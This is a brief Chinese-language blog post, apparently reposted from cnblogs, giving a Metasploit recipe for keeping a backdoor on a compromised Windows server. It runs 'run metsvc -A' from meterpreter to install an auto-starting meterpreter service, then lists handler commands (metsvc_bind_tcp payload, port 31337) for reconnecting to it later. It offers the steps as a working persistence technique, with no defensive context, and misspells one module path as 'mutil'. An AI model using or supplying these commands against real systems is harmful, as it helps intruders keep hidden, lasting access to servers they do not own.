metasploit后门维持技术

在meterpreter中执行：run metsvc -A

如此以后便会自动在服务器当中多生成一个meterpreter的服务，并且是开机自动启动。所以二次如果要利用直接：

use exploit/mutil/handler
set payload windows/metsvc_bind_tcp
set lhost x.x.x.x
set lport 31337
set rhost x.x.x.x
exploit

 

转载于:https://www.cnblogs.com/nul1/p/9118113.html